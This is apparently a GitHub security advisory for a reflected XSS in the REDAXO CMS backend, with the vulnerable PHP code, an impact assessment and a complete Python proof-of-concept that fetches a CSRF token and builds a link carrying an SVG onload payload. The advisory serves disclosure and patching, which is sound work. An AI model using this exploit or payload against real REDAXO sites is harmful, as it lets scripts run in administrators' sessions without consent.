GHSA-m662-8jrj-cw6v: 
PHP vulnerability analysis and mitigation

Summary

A reflected XSS vulnerability has been identified in the REDAXO backend. The type parameter is concatenated into an API error message and rendered without HTML escaping.

Details

Root cause
User input type is injected into an exception message, then rendered by rex_view::error() which delegates to rex_view::message() without HTML escaping. Vulnerable code (redaxo/src/addons/metainfo/lib/handler/api_default_fields.php) :

$type = rex_get('type', 'string');
throw new rex_api_exception(sprintf('metainfo type "%s" does not have default field.', $type));

Sink (redaxo/src/core/lib/view.php) : php return '<div class="' . $cssClassMessage . '">' . $message . '</div>'; Data flow source -> sink - Source : type (GET) - Propagation : concatenated into the exception message - Sink : rendered via rex_view::error() -> rex_view::message() without escaping Authentication required : yes (backend session)

PoC - exploit

#!/usr/bin/env python3
import re
import urllib.parse
import requests
TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx"
VERIFY_SSL = False
TIMEOUT = 15
PAYLOAD = '\"><svg/onload=alert("pwned")>'
def build_backend_url() -> str:
    base = TARGET_URL.rstrip("/")
    return f"{base}/{BACKEND_PATH.lstrip('/')}"
def extract_api_csrf(html_text: str) -> str:
    m = re.search(r'rex-api-call=metainfo_default_fields_create[^"\']+', html_text)
    if not m:
        raise RuntimeError("Could not find the metainfo_default_fields_create API link in the page HTML.")
    fragment = m.group(0).replace("&amp;", "&")
    token_match = re.search(r"_csrf_token=([^&]+)", fragment)
    if not token_match:
        raise RuntimeError("CSRF token for metainfo_default_fields_create was not found in the extracted link.")
    return token_match.group(1)
def set_session_cookie(session: requests.Session) -> None:
    parsed = urllib.parse.urlparse(TARGET_URL)
    if parsed.hostname:
        session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")
def main() -> None:
    backend_url = build_backend_url()
    s = requests.Session()
    set_session_cookie(s)
    # Admin backend session required
    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
    if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
        print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
        return
    r = s.get(backend_url, params={"page": "metainfo/articles"}, timeout=TIMEOUT, verify=VERIFY_SSL)
    if r.status_code != 200:
        print(f"[!] Failed to access metainfo page (HTTP {r.status_code}).")
        return
    api_token = extract_api_csrf(r.text)
    params = {
        "page": "metainfo/articles",
        "rex-api-call": "metainfo_default_fields_create",
        "type": PAYLOAD,
        "_csrf_token": api_token,
    }
    exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
    print(exploit_url)
if __name__ == "__main__":
    main()

The script uses only the provided PHPSESSID, retrieves the CSRF token from the metainfo page, and prints a ready-to-use exploit link.

Impact

• Confidentiality : Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
• Integrity : Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
• Availability : Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.

Video

https://github.com/user-attachments/assets/251f548c-3f68-483b-a012-b8fc28493a83